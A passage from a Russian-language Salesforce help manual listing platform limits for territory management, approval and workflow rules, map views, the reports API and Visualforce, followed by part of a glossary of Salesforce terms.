распространяется на поля типа «Область обогащенного текста», текстовые поля других типов, стандартные и
настраиваемые поля.

• PDF-сметы не поддерживают языки, читаемые справа налево. Текст выравнивается по левой стороне страницы.

Ограничения для расписаний
Ограничения для типов расписаний, доступных организации.

Типырасписаний, доступныеворганизации, определяются администратором Salesforce: расписанияобъемовпродукции,
расписания доходов или оба. Типы расписаний, доступные для каждого отдельного продукта, также определяются
администратором.

Если расписания используются кодом Apex, то организация не может отключить оба типа расписания. Например, если
кодApex ссылаетсянаобъектрасписания (представленв коде как OpportunityLineItemSchedule), топользователь
может отключить только один тип расписания, но не оба.

Ограничения для функции управления территориями предприятия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ограничения для моделей, территорий и правил назначения при использовании
функции управления территориями предприятия.

Ограничения для моделей территории
Версия Salesforce, используемая организацией, определяет количество моделей
территории, доступное для создания в производственных и безопасных организациях.
Данное ограничение охватывает модели, созданные путем клонирования.

Количество моделей в
безопасных
организациях

Количество моделей в
производственных
организациях

Версия

44Developer Edition

22Enterprise Edition

44Performance Edition

44Unlimited Edition
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Стандартное ограничение для территорий
По умолчанию каждая модель территории может содержать не более 1 000 территорий.

Ограничение для правил назначения
Каждая территория может использовать не более 15 правил назначения.

Ограничения автоматизации процессов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ограничения для бизнес-правил и утверждений зависят от версии вашей организации.

Бизнес-правила и утверждения позволяют автоматизировать выполнение популярных
задач (например, отправку сообщений эл. почты и обновление полей).

Ограничения для бизнес-правил и утверждений по версиям

Unlimited
Edition
и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения
для
бизнес-правил
и
утверждений

Каждая организация может
использовать:

———Процессы
утверждения

• 1 000 процессов утверждения

• 300 процессов утверждения на
объект

Каждый процесс утверждения может
использовать:

• 30 этапов

• 25 ответственных за утверждение на
этап

• 40 действий исходной отправки

• 40 действий окончательного
утверждения

• 40 действий окончательного
отклонения

• 40 действий отзыва

Каждый набор действий исходной
отправки, окончательногоутверждения,
окончательного отклонения и отзыва
может использовать:

• 10 электронных предупреждений

• 10 задач
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Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения для
бизнес-правил и
утверждений

• 10 обновлений поля

• 10 исходящих сообщений

Длина комментария не должна превышать
4 000 символов. В китайском, японском и корейском
языках данное ограничение составляет 1 333 символа.

———Комментарии к
запросам на
утверждение:
максимальное
количество
символов

Каждое бизнес-правило может использовать:———Бизнес-правила

• 10 триггеров времени

• 40 немедленных действий

• 40 зависимых от времени действий на триггер
времени

Немедленныедействияикаждыйтриггервременимогут
использовать:

• 10 электронных предупреждений

• 10 задач

• 10 обновлений поля

• 10 исходящих сообщений

• 10 триггеров потока1

50505050———Количество
триггероввремени
бизнес-правила на
час

252525————Триггеры потока2

как действия
бизнес-правила:
назначения
переменной
потока

1 000 на
стандартную

15 на
стандартную

1 000 на
стандартную

1 000 на
стандартную

———Количество
электронных

лицензию
Salesforce

2 000 000 на
организацию

лицензию
Salesforce

2 000 000 на
организацию

лицензию
Salesforce

2 000 000 на
организацию

лицензию
Salesforce

2 000 000 на
организацию

бизнес-правил на
день
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1 Конструктор процессов заменяет триггеры потока как действия бизнес-правила, ранее доступные только в пробной
версии. Организации, использующие триггеры потока как действия бизнес-правила, могут продолжить их создание и
редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

СМ. ТАКЖЕ:

Ограничения для процессов

Ограничения для правил назначения, автоматического ответа и расширения

Ограничения для Visual Workflow

Ограничения для карт и служб расположений
Ограничения для просмотров карты на пользователя.

Функция «Карты и службы расположений» использует карты Google для отображения карт для стандартных адресных
полей, включения возможности создания карт Visualforce и ввода новых адресов путем автозаполнения.

Ограничения для просмотров карты
Ежегодно каждому оплаченному и инициализированному пользователю предоставляется 4 000 просмотров карт.
Ограничение по количеству просмотров карт для всей организации — это общее количество просмотров карт,
предоставленных оплаченным и инициализированным пользователям. Общее количество просмотров карт для
организации распределяется между оплаченными и неоплаченными пользователями. Просмотром карты считается:

• Отображение отдельной карты стандартных адресов.

Прим.: Отображениеадресовдля счетаиотправкидляоднойзаписисчитаетсяотдельнымипросмотрамикарты.

• Отображение одной карты Visualforce.

• Отображение маркера карты, местоположение которого определяется адресом на карте Visualforce.

Прим.: Маркерыкарты, местоположениекоторыхопределяетсяширотойидолготой, не считаютсяпросмотром
карты.

• Каждое автозаполнение при поиске по стандартным адресным полям.

Ограничения API-интерфейса REST для отчетов и панелей мониторинга
Ограничения API-интерфейса REST для отчетов и панелей мониторинга.

API-интерфейс REST для отчетов и панелей мониторинга имеет следующие ограничения:

Ограничения для Reports API

• Кросс-фильтры, стандартныефильтрыотчетовифильтрацияпоограничениюстрокнедоступныприфильтрации
данных.

• Архивный трендинг поддерживается только матричными отчетами.

• Интерфейс API можетобрабатыватьтолькоотчеты, содержащиенеболее 100 полей, выбранныхвкачествестолбцов.

• Система возвращает не более 200 недавно просмотренных отчетов.

• Организация поддерживает не более 500 запросов на синхронное выполнение отчета в течение одного часа.

• Интерфейс API поддерживает одновременно не более 20 запросов на синхронное выполнение отчета.
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• Система возвращает не более 2 000 экземпляров отчета, выполненного асинхронно.

• Интерфейс API поддерживает одновременно не более 200 запросов на извлечение результатов асинхронного
выполнения отчета.

• Организация поддерживает не более 1 200 запросов на асинхронное выполнение в течение одного часа.

• Результаты асинхронного выполнения отчета доступны в течение 24 часов.

• Интерфейс API возвращает не более 2 000 первых строк отчета. Чтобы уточнить результаты, воспользуйтесь
фильтрами.

• При необходимости добавьте не более 20 фильтров настраиваемого поля при выполнении отчета.

Ограничения для Dashboards API

• Организация поддерживает не более 200 запросов на обновление панели мониторинга в течение одного часа.

• Организация поддерживает не более 5 000 запросов на просмотр результатов панели мониторинга в течение
одного часа.

СМ. ТАКЖЕ:

Ограничения для панелей мониторинга

Ограничения для компонентов Visualforce
Ограничения для компонентов и страниц Visualforce.

Visualforce использует специальный язык разметки на основе тегов, предназначенный для создания приложений и
настройки пользовательского интерфейса Salesforce.

ЗначениеОграничение

40 символов

Имя страницы может содержать не более 40 символов.

Максимальная длина имени страницы Visualforce (текст
URL-адреса, являющийся уникальным идентификатором
страницы Visualforce)

1 Мб текста

Отдельная страницаможет содержатьнеболее 1 Мбтекста
или примерно 1 000 000 символов.

Максимальная длина исходного кода страницы Visualforce
(исходный код, не отображаемый ответ)

1 Мб текста

Отдельный компонент может содержать не более 1 Мб
текста или примерно 1 000 000 символов.

Максимальнаядлинаисходногокодакомпонента Visualforce
(исходный код)

750 пикселов

Ширина отдельной страницы, отображаемой на вкладке
профиля, не может превышать 750 пикселов.

Максимальнаяширинастраницы Visualforce, отображаемой
на вкладке профиля
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Глоссарий

A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z

Данный глоссарий определяет термины, встречающиеся в комплекте документации Salesforce.

A

Организация
Организация — это отслеживаемая компания или потребитель (например, клиент, партнер или конкурент).

Правило назначения организаций
Правило, которое автоматически назначает организации территориям на основе заданных критериев.

Группа, работающая с организациями
Группа, работающая с организациями, — это группа пользователей, которые совместно работаютнад организацией.
Например, группа, работающая с организациями, может содержать руководителя проекта, менеджера проекта и
специалиста службы поддержки.

Действие (календарные события/задачи)
Запланированная задача или событие, которое может быть связано с другим типом записи (например, организация,
контакт, интерес, возможность или обращение).

Администратор (системный администратор)
Как минимум один сотрудник организации, который может настраивать приложение. Полномочия администратора
предоставляются пользователям, назначенным профилю «Системный администратор».

Стоимость без поправок
Применяется к продукту «Совместные прогнозы». Сумма всех собственных возможностей дохода пользователя и
возможностейегоподчиненных (безпоправок). Подчиненные — это сотрудники, расположенныенижепользователя
в иерархии прогнозов.

Стоимость без поправки менеджера
Применяется к продукту «Совместные прогнозы». Показатель прогноза, отображаемый ответственному за прогноз.
Показатель прогноза — это сумма возможностей дохода ответственного и его подчиненных, включая поправки,
внесенныеответственнымвсобственныепрогнозыилипрогнозыподчиненных. Данныйпоказательневключаетпоправки,
внесенные вышестоящими менеджерами прогнозов в иерархии прогнозов.

Ответы
Ответы — это функция приложения «Сообщество», которая позволяет пользователям задавать вопросы и получать
на них ответы. Участники сообщества могут определять степень полезности любого ответа путем голосования, а
автор вопроса может выбрать лучший ответ.

Apex
Apex — этостроготипизированныйобъектно-ориентированныйязыкпрограммирования, позволяющийразработчикам
выполнятьоператорыуправлениятранзакциямиипотокаминасервереплатформыForce.com в сочетаниисвызовами
к интерфейсу Force.comAPI. Благодаря синтаксису, напоминающему Java и действующему подобно хранимым
процедурам базы данных, Apex позволяет разработчикам добавлять бизнес-логику в основные системные события,
включая нажатия кнопок, обновления связанных записей и страницы Visualforce. Код Apex может быть инициирован
запросами веб-службы и триггерами объектов.
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Инфраструктура коннекторов Apex
Инфраструктура коннекторов Apex — это набор классов и методов в пространстве имен DataSource для создания
собственногонастраиваемогоадаптераLightning Connect. Рекомендуемсоздатьнастраиваемыйадаптердляподключения
к данным, хранящимся вне организации Salesforce, при условиинесоответствия других доступных адаптеров Lightning
Connect текущим требованиям.

Приложение
Приложение — этосовокупностькомпонентов (например, вкладки, отчеты, панелимониторингаистраницыVisualforce),
предназначеннаядлярешенияконкретнойбизнес-задачи. СистемаSalesforceподдерживаетстандартныеприложения
(например, Sales и Call Center). При необходимости стандартные приложения могут быть настроены в соответствии с
текущими бизнес-требованиями. Кроме того, приложение может быть добавлено в пакет и загружено в каталог
AppExchange вместе с другими связанными компонентами (например, настраиваемые поля, настраиваемые вкладки
илинастраиваемыеобъекты). ЧтобыпредоставитьдругимпользователямSalesforceдоступкприложению, рекомендуем
использовать каталог AppExchange.

Менюприложений
См. определение «Меню приложений Force.com».

AppExchange
AppExchange — это интерфейс общего доступа от компании Salesforce, позволяющийпросматривать и обмениваться
приложениями или услугами, разработанными на платформе Force.com.

Действие утверждения
См. определение «Действия бизнес-правил и утверждений».

Процесс утверждения
Процесс утверждения — это автоматическийпроцесс, которыйможетиспользоватьсяорганизациейдля утверждения
записейSalesforce. Процессутвержденияопределяетэтапы, необходимыедляутверждениязаписи, а такжеответственных
за утверждение на каждом этапе. Этап может применяться ко всем записям процесса или только к записям, которые
соответствуют определенным критериям, заданным администратором. Процесс утверждения также определяет
действия, которые должны быть выполнены при утверждении, отклонении, отзыве или первоначальной отправке
записи на утверждение.

Статья
Статья содержит сведения о продуктах и услугах компании, которые должны быть доступны в базе знаний.

Менеджер статей
Система Salesforce использует термин «менеджер статей» для обозначения отдельного типа пользователя. Менеджеры
статеймогут создавать, редактировать, назначать, публиковать, архивироватьи удалять статьина вкладке «Управление
статьями». Менеджеры статей также могут называться менеджерами базы знаний. Менеджерам статей должно быть
предоставлено полномочие «Управление статьями». Вкладка «Управление статьями» доступна только при наличии
полномочия «Управление статьями».

Тип статьи
Всем статьям Salesforce Knowledge назначается тип статьи. Тип статьи определяет тип содержимого, внешний вид и
пользователей, которым предоставляется доступ к статье. Например, простой тип статьи «Вопросы и ответы» может
содержать два настраиваемых поля («Вопрос» и «Ответ»), которые используются менеджерами статей для ввода
данных при создании или обновлении статей, посвященных вопросам и ответам. Более сложный тип статьи может
содержатьдесяткиполей, систематизированныепоразнымразделам. Макетыишаблоныпозволяютадминистраторам
структурировать тип статьи на основе его содержимого. Доступ пользователя к типам статей определяется
полномочиями. Администратор может предоставить пользователям полномочие «Создание», «Чтение»,
«Редактирование» или «Удаление» длякаждоготипастатьи. Например, менеджерстатейможетпредоставитьвнутренним
пользователям доступ для чтения, создания и редактирования типов статей «Вопросы и ответы», а
пользователям-партнерам — только доступ для чтения.
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Актив
Определеннаямодельили типпродукта, принадлежащегоклиенту. Взависимостиотцелейиспользования, активами
могут считаться продукты, приобретенные и установленные клиентами, или продукты конкурентов, используемые
клиентами.

Назначение
Назначение — это черновая статья, назначенная другому пользователю для редактирования. Назначения могут
содержать краткие инструкции и крайний срок.

@Упоминание
@Упоминание — это строка, состоящая из символа @ и имени пользователя или группы (например, @ИванПетров
или@Рабочаягруппаподокументации). @Упоминанияпользователеймогутдобавлятьсявсообщенияикомментарии
Chatter. При @упоминании пользователя @упоминание ссылается на профиль пользователя, сообщение или
комментарий отображается в ленте пользователя, а сам пользователь получает соответствующее электронное
уведомление.

Правило автоматического ответа
Набор условий для отправки автоматического электронного ответа на полученные обращения или интересы на
основе атрибутов отправленной записи. Правило может применяться к обращениям, отправленным с помощью
портала самообслуживания, клиентскогопортала, формы Web-to-Case, функции Email-to-Case илифункцииOn-Demand
Email-to-Case. Правило может применяться к интересам, собранным посредством формы Web-to-Lead.

B

Стоимость: благоприятный прогноз
Предполагаемый доход в прогнозе, который определяет общий возможный доход в отдельном месяце или квартале.
Прогноз менеджера должен включать общую сумму предполагаемого дохода для всей рабочей группы.

Лучший ответ
Одинизответов, опубликованныхучастникамисообщества, можетбытьвыбранавторомвопросав качествелучшего.
Лучшийответ отображается прямопод вопросом (над другимиответами). Обычнолучшийответ содержитнаиболее
ценную информацию, поэтому позволяет другим участникам сообщества быстро решать похожие вопросы.

Пустой поиск
Поиск, выполняемый при незаполненном диалоговом окне поиска.

Добавление в область
Инструментв конструктореотчетов, позволяющийклассифицировать записиотчетапополюбез созданияформулы
или настраиваемого поля.

Организация-компания
Компания или организация, подлежащая отслеживанию.

C

Кампания
Маркетинговая инициатива (например, объявления, прямые почтовые рассылки или семинары), предпринимаемая
для приобретения потенциальных клиентов и привлечения внимания к товарному знаку.

Иерархия кампаний
Иерархическая группа, содержащаянеболеепятикампаний. Родительская кампанияможетиметьнесколькодочерних
кампаний, но дочерняя кампания может иметь только одну родительскую кампанию.
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Участник кампании
Интерес или контакт, связанный с кампанией.

Рентабельность инвестиций в кампанию
Рентабельность инвестиций в кампанию — это прибыль от вложений в маркетинговые программы. Для анализа
рентабельности инвестиций используется отчет «Анализ рентабельности инвестиций кампании». Рентабельность
инвестицийрассчитываетсякакчистаяприбыль («Итого ценность реализованных возможностей» - «Фактические
затраты»), поделенная на значение «Фактические затраты». Рентабельность инвестиций отображается в процентах.

Обращение
Подробное описание проблемы, вопроса или отзыва клиента. Используется для отслеживания и решения проблем
клиентов.

Категория, решения
Метка, которая может быть назначена решению с целью его добавления в группу похожих решений. Благодаря
категориям решений сотрудники службы поддержки могут гораздо быстрее находить нужные им решения при
обработке обращений. Категории могут использоваться клиентами для поиска и просмотра решений на портале
самообслуживания или в общедоступных решениях. Также см. определение «Родительская категория».

Категория, идеи
Категории — это значения, определяемые администратором, которые помогают организовать идеи в логические
подгруппы внутри зоны. Раскрывающийся список «Просмотр категории» на вкладке «Идеи» позволяетфильтровать
идеи по категории, а раскрывающийся список «Категории» на странице «Добавить идеи» позволяет назначать
категории.Например, зона идей, посвященная вопросам качественного улучшения производимой линии одежды,
можетиспользоватьследующиекатегории: «Рубашки», «Пиджаки» и «Свитера». Каждаяорганизацияиспользуетодин
общийнабор категорий, которыйможет быть добавленили удалениз каждой зоны. Зоныидейиответовиспользуют
разные категории, заданные администратором.

Категория, база знаний и ответы
См. определения «Категория данных для ответов» и «Категория данных для статей».

Группа категорий для ответов
Группакатегорий в зонеответовсодержиткакминимумоднукатегорию, обеспечивающуюудобныйпросмотрвопросов.
Если группа категорий содержит иерархию, то вкладка «Ответы» отображает только категории первого уровня.
Например, компания-производителькомпьютеровможет создать группукатегорий «Продукты» для зоны «Продукты».
Данная группа может содержать четыре категории: «Портативные компьютеры», «Производительные портативные
компьютеры», «Настольные игровые компьютеры» и «Настольные рабочие компьютеры». Участники зоны могут
назначить вопросу любую из доступных категорий. Группа категорий и категории, созданные администратором,
могут быть связаны с зоной ответов.Зоны идей и ответов используют разные категории, заданные администратором.

Группа категорий для статей
В Salesforce Knowledge группакатегорийпозволяеторганизовыватькатегорииданныхвлогическуюиерархию. Например,
чтобы классифицировать статьи по регионам продаж и бизнес-единицам, создайте две группы категорий: «Регионы
продаж» и «Бизнес-единицы». Группа категорий «Регионы продаж» может состоять из географической иерархии, в
которойкатегория «Всерегионыпродаж» будетрасположенана самомверхнемуровне, категории «СевернаяАмерика»,
«Европа» и «Азия» — на втором уровне, и так далее (вплоть до пятого уровня). При создании статей категории
назначаются авторами статей. Конечные пользователи могут искать и фильтровать статьи по категории.

Канал
Канал — этосредствопредоставлениядоступакстатье. Salesforce Knowledgeпредлагаетчетыреканала, поддерживающие
доступ к статьям.

• Внутреннееприложение: Доступ к статьямна вкладке «Статьи» предоставляетсяпользователям Salesforceнаоснове
доступности их ролей.
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• Клиент: Доступ к статьямпредоставляется клиентам толькоприотображении вкладки «Статьи» в сообществе или
на клиентском портале. Пользователи-клиенты наследуют доступность роли от менеджера организации. В
сообществе статья доступна только пользователям с лицензией Customer Community или Customer Community Plus.

• Партнер: Доступ к статьям предоставляется партнерам только при отображении вкладки «Статьи» в сообществе
или на партнерском портале. Пользователи-партнеры наследуют доступность роли от менеджера организации.
В сообществе статья доступна только пользователям с лицензией Partner Community.

• Общедоступная база знаний: Чтобы предоставить анонимным пользователям доступ к статьям, рекомендуем
создать общедоступную базу знаний посредством приложения «Образец общедоступной базы знаний для Salesforce
Knowledge» из каталога AppExchange. Создание общедоступной базы знаний требует наличия Sites и Visualforce.

• Собственный веб-сайт. Чтобы предоставить пользователям доступ к статьям, воспользуйтесь корпоративным
веб-сайтом.

Менеджер канала распределения
Менеджеры канала распределения — это внутренние пользователи, управляющие партнерами.

Chatter Answers
Chatter Answers — этосообществопоподдержкепорталасамообслуживания, позволяющеепользователямпубликовать
вопросы и получать ответы или комментарии от других пользователей или агентов службы поддержки.

лента Chatter
Список последних действий в системе Salesforce. Ленты Chatter отображаются:

• на вкладкеChatterили «Начальная страница»; отображаются собственные сообщения, сообщенияотслеживаемых
пользователей, обновлениядляотслеживаемыхзаписейисообщениядля группс участиемтекущегопользователя;

• в профилях; отображаются сообщения, опубликованные пользователем, профиль которого просматривается в
настоящее время;

• в записях; отображаются обновления для просматриваемой записи;

• в группах Chatter; отображаются сообщения для просматриваемой группы.

группа Chatter
Благодаря группам Chatter, пользователи могут обмениваться данными с определенными людьми. Например, при
работенадпроектомпользовательможет создать группу Chatter, чтобыпредоставитьдоступкрабочимданнымтолько
участникам группы. В группе Chatter отображается список пользователей, лента Chatter ифотография. Пользователь
может создать следующие группы Chatter.

• Общедоступная группа: публикация сообщений доступна только участникам группы; просмотр сообщений и
участие в группе доступны любому пользователю.

• Личная группа: публикация и просмотр сообщений доступны только участникам группы. Новый участникможет
быть добавлен в группу только ответственным или менеджером группы.

Облачная версия приложения Flow Designer
Облачное приложение, позволяющее администраторам создавать потоки для использования в системе Salesforce.

Комбинированная диаграмма
Комбинированная диаграмма позволяет размещать несколько наборов данных на одной диаграмме. Каждый набор
данныеопираетсянаотдельноеполе, гарантируя удобное сопоставление значений. Принеобходимостиразные типы
диаграмм могут быть объединены в одну диаграмму для многоцелевого просмотра данных.

Подключение (дляфункции Salesforce to Salesforce)
Бизнес-партнер, приглашаемыйтекущимпользователемдлясовместногоиспользованияданныхспомощьюфункции
Salesforce to Salesforce.
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Сообщество
Сообщества — это настраиваемые общедоступные или личные области, позволяющие сотрудникам, клиентам и
партнерам совместно работать над бизнес-процессами и обмениваться приобретенным опытом.

Приложение «Сообщество»
Приложение «Сообщество» поддерживаетфункции «Идеи» и «Ответы». Приложение «Сообщество» доступновменю
приложений Force.com.

Эксперт сообщества
Эксперт сообщества — это участник сообщества, который официально выступает от имени организации. Когда
эксперты сообществ размещают комментарии или идеи, рядом с их именем отображается уникальный значок ( ).
Администратор Salesforce может назначить необходимое количество экспертов.

Стоимость: обязательство
Внесенная в прогноз сумма, сделки на которую отдельный представитель отдела продаж может осуществить за
определенныймесяциликвартал. Дляменеджеровэтосумма, сделкинакоторуюможетосуществитьменеджервместе
с командой.

Конкурент
Связанный список, содержащийимена конкурентов, а также их слабые и сильные стороны в отношении конкретной
возможности.

Система компьютерной телефонии (CTI)
Связь между телефонной системой и компьютером, позволяющая упростить процесс обработки и управления
входящими и исходящими вызовами.

Connect for Office
Продукт, позволяющий интегрировать систему Salesforce с приложениями Microsoft® Word и Excel.

Connect for Outlook
Поддержка приложения Connect for Outlook прекращена. Этот продукт был устаревшим встраиваемым модулем для
приложения Microsoft® Outlook® 2007 или более ранних версий.

Connect Offline
Продукт, позволяющий продавцам использовать систему Salesforce для удаленного обновления данных — в любое
время, в любом месте и без подключения к сети.

Подключенный пользователь
При использовании адаптера Salesforce для Lightning Connect подключенный пользователь — это пользователь в
организации поставщика, регистрационные данные которого используются для входа в организацию поставщика.
Доступ подключенного пользователя к данным в организации поставщика влияет на данные, которые могут быть
доступны внутри организации подписчика.

Вкладка «Консоль»
Вкладка, содержащая консоль Agent Console, которая объединяет связанные записи на одном экране, состоящем из
разных рамок, и предоставляет централизованный доступ для просмотра и редактирования данных.

Контакт
Контакты — это отдельные лица, связанные с вашей организациями.

Contact Manager Edition
Версия Salesforce, предназначеннаядлямалогобизнесаипредоставляющаядоступкключевымфункциямуправления
контактами.

Роль контакта
Роль, назначенная контакту в конкретной организации, возможности или контракте, например, «Сотрудник,
принимающийрешения» или «Экспертпооценке». Дляорганизации, контрактаиливозможностиможетбыть указан
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один «основной» контакт. Вразныхорганизациях, контрактахивозможностях контактумогутбытьназначеныразные
роли.

Доставка содержимого
Файл, преобразованныйв специальныйинтерактивныйформат, дляраспространениямеждуинтересами, контактами
и коллегами.

Пакет содержимого
Набор связанных документов или файлов, которые хранятся в Salesforce CRM Content в виде группы.

Контракт
Контракт — это соглашение, определяющее условия делового сотрудничества между сторонами.

Элемент строки контракта
Элементстрокиконтракта — этоопределенныйпродукт, указанныйвсервисномконтракте.Элементыстрокиконтракта
отображаются в связанном списке «Элементы строки контракта» только для сервисных контрактов.

Управляющее поле
Любоеполе стандартногоилинастраиваемогораскрывающегося спискаилифлажка, значениякоторогоопределяют
доступные значения в одном или нескольких зависимых полей.

Преобразовать
Кнопка или ссылка, благодаря которой пользователь может преобразовать перспективный интерес в организацию,
контакт или возможность. Сведения из полей интереса переносятся в соответствующие поля организации, контакта
или возможности.

Адаптер CTI
Небольшое приложение, контролирующее внешний вид и функциональность программного телефона Salesforce.
Адаптериграетрольпромежуточногозвенамеждустороннейсистемойкомпьютернойтелефонии, системойSalesforce
ипользователем Salesforce CRM Call Center. Адаптердолженбыть установленнакаждомкомпьютере, которомутребуется
доступ к функциям Salesforce CRM Call Center.

Настраиваемый компонент консоли
Страница Visualforce, добавленная администратором на консоль Salesforce для настройки, интеграции и расширения
возможностей консоли.

Настраиваемое поле
Поле, которое может быть добавлено к стандартным полям с целью дополнительной настройки системы Salesforce.

Настраиваемая справка
Настраиваемый текст, добавляемый администратором для того, чтобы пользователи могли просмотреть сведения о
стандартных и настраиваемых полях или настраиваемых объектах.

Настраиваемые ссылки
Настраиваемые ссылки — это URL-адреса, заданные администратором для интеграции данных Salesforce с внешними
веб-сайтами и системами обработки документации. Ранее использовался термин «Веб-ссылки».

Настраиваемый объект
Настраиваемые записи, предназначенные для хранения уникальных данных организации.

Тип настраиваемого отчета
См. определение «Тип отчета».

Настраиваемый элемент S-Control

Прим.: Элементы S-Control заменены страницами Visualforce. Начиная с марта 2010 года создание элементов
S-Control недоступноновыморганизациямиорганизациям, которыеихникогданесоздавали. Текущиеэлементы
S-Control останутся без изменений и будут доступны для редактирования.
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Настраиваемый веб-элемент, используемый в настраиваемых ссылках. Настраиваемые элементы S-Control могут
содержатьлюбойтипсодержимого, отображаемоговобозревателе (например, Java-приложение, элементуправления
ActiveX, файл Excel или настраиваемая веб-форма в формате HTML).

Настраиваемое прогнозирование
Исправленный модуль прогнозирования, позволяющий организациям настраивать прогнозы для собственных
бизнес-процессов.

Настраиваемое представление
Функция, позволяющая просмотреть конкретный набор записей для определенного объекта.

D

Панель мониторинга
Панельмониторинга — это средство отображения данныхисходного отчета в виде визуальных компонентов, таких как
диаграммы, шкалы, таблицы, показатели или страницы Visualforce. Компоненты представляют собой моментальные
снимки ключевых показателей и индикаторов эффективности организации. Каждая панель мониторинга может
содержать не более 20 компонентов.

Конструктор панелей мониторинга
Конструкторпанелеймониторинга — это графическийинтерфейсдля созданияиредактированияпанелеймониторинга.

Категория данных для ответов
Категорииданныхна вкладке «Ответы» позволяютклассифицировать вопросыв зонеответов. Например, приналичии
зоны ответов для продуктов группы аппаратного обеспечения можно создать следующие категории данных:
«Портативныекомпьютеры», «Настольныекомпьютеры» и «Принтеры». Участникизонымогутбыстропросматривать
отдельныекатегориидляпоискаответовна вопросы. Категорииданныхпозволяютадминистраторамконтролировать
доступ к вопросам.

Категория данных для статей
В Salesforce Knowledge категорияданных — этонаборкритериев, структурированныхвиерархические группыкатегорий.
Статьям базы знаний могут быть назначены разные категории, благодаря чему пользователи могут быстро находить
нужные статьи. Например, чтобы классифицировать статьи по регионам продаж и бизнес-единицам, создайте две
группы категорий: «Регионы продаж» и «Бизнес-единицы». Группа категорий «Регионы продаж» может состоять из
географической иерархии, в которой категория «Все регионы продаж» будет расположена на самом верхнем уровне,
категории «СевернаяАмерика», «Европа» и «Азия» — навторомуровне, итакдалее (вплотьдопятогоуровня). Категории
назначаются авторами статей. Категории данных позволяют администраторам контролировать доступ к статьям.

Database.com
Database.com — это корпоративная база данных, разработанная компанией Salesforce специально для использования
в глобальной сети.

Датированные курсы обмена
Датированные курсы обмена позволяют соотносить курс обмена валюты с конкретным диапазоном дат. Например,
1 января курс обмена составлял 1,39 Евро за 1 доллар США, а 1 февраля повысился до 1,42 Евро. В этом случае
возможности, закрытыевдиапазоне 1 января—1 февраля, используютпервыйкурсобмена (1 долларСША=1,39 Евро),
тогда как возможности, закрытые 1 февраля или позже, используют второй курс обмена (1 доллар США=1,42 Евро).

Понизить
Чтобыпонизитьрейтингнеудачнойидеина 10 очков, нажмитекнопку«понизить». Рейтингидеиможетбытьпонижен
только один раз. Идея, рейтинг которой был понижен, не может быть повышена. Если количество отрицательных
голосов превышает количество положительных, то рейтинг идеи может быть отрицательным.

6101

Глоссарий



Зависимое поле
Поле любого настраиваемого раскрывающегося списка или раскрывающегося списка со множественным выбором,
отображающее доступные значения на основе значения, выбранного в соответствующем управляющем поле.

Сведения
Страница, отображающаясведенияоботдельнойзаписиобъекта. Страницасведенийозаписипозволяетпросматривать
данные, которые могут быть изменены на странице редактирования.

Этот термин используется в отчетах, чтобы отличать сводную информацию от включения всех данных столбца по
всейинформации в отчете. Чтобыпросмотреть или скрыть подробные сведения отчета, нажмите кнопку «Показать
сведения» или «Скрыть сведения».

Подробное представление
Центральная рамка консоли Agent Console, отображающая подробное представление любой записи, выбранной в
других рамках консоли. Подробное представление отображает макеты страниц, заданные для страниц сведений об
объектах. Запись, отображаемая в подробном представлении, выделяется в списковом представлении.

Developer Edition
Бесплатная полнофункциональная организация Salesforce, позволяющая разработчикам использовать платформу
Force.com в целях создания, расширения и интеграции новых приложений. Организации Developer Edition доступны
на сайте developer.salesforce.com.

Developer Pro Sandbox
Безопасные среды Developer Pro Sandbox копируют настройки (метаданные), но не данные производственной
организации, в отдельнуюсреду, предназначеннуюдля создания и тестирования кода. Безопасная средаDeveloper Pro
Sandbox отличается от безопасной среды Developer Sandbox дополнительным хранилищем. Количество доступных
безопасных сред Developer Sandbox определяется используемой версией производственной организации.

Developer Sandbox
БезопасныесредыDeveloper Sandbox копируютнастройки (метаданные), нонеданныепроизводственнойорганизации,
в отдельную среду, предназначенную для создания и тестирования кода.

Библиотека документов
Область хранения документов без их добавления в организации, контакты, возможности или другие записи.

Черновая статья
Черновая статья — это незавершенная статья, которая еще не опубликована, то есть недоступна на вкладке «Статьи»
(вовсех каналах) ивобщедоступнойбазе знаний. Менеджерыстатеймогутпросматриватьчерновыестатьинавкладке
«Управлениестатьями» путемвыборавложеннойвкладки «Статьи» вобласти «Просмотр» иустановкипереключателя
«Черновыестатьи». Черновыестатьимогутбытьотфильтрованыпоназначению: текущемуилилюбомупользователю
(все черновые статьи организации). Черновые статьи могут быть назначены любому пользователю, связанному с
редактурой.

Черновой перевод
Черновойперевод — это незавершенныйперевод статьи на разные языки. Данныепереводыне публикуются, то есть
недоступны на вкладке «Статьи» (во всех каналах) и в общедоступной базе знаний. Менеджеры статей могут
просматриватьчерновыепереводына вкладке «Управлениестатьями» путемвыбора вложеннойвкладки «Переводы»
в области «Просмотр» и установки переключателя «Черновые переводы». Черновые переводы могут быть
отфильтрованыпоназначению: текущемупользователю, очередипереводаилилюбомупользователю (всечерновые
переводыорганизации).Переводымогут быть назначенылюбомупользователю, которыйможет публиковать статьи
Salesforce Knowledge.

Динамическая панель мониторинга
Для отображения динамической панели мониторинга используются параметры безопасности пользователя,
просматривающегопанельмониторинга. Данные, доступныенапанелимониторинга, определяются уровнемдоступа
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каждого пользователя. Данный вариант позволяет администраторампредоставлять пользователям с разным уровнем
доступа общий доступ к одному набору компонентов панели мониторинга.

E

Электронное предупреждение
Электронное предупреждение — это действие бизнес-правила и утверждения, которое создается на основешаблона
эл. почтыприиспользованиибизнес-правилаилипроцессаутверждения, изатемотправляетсяконкретнымполучателям
(пользователям Salesforce или другим лицам).

Шаблон эл. почты
Сообщение эл. почты, содержащее стандартный текст, например, приветственное письмо новому сотруднику или
подтверждение получения запроса, отправленного в службу поддержки. Шаблоны эл. почты могут быть дополнены
полями слияния и созданы в текстовом, HTML- или настраиваемомформате.

Enterprise Edition
Версия Salesforce, предназначенная для использования на крупных предприятиях.

Право
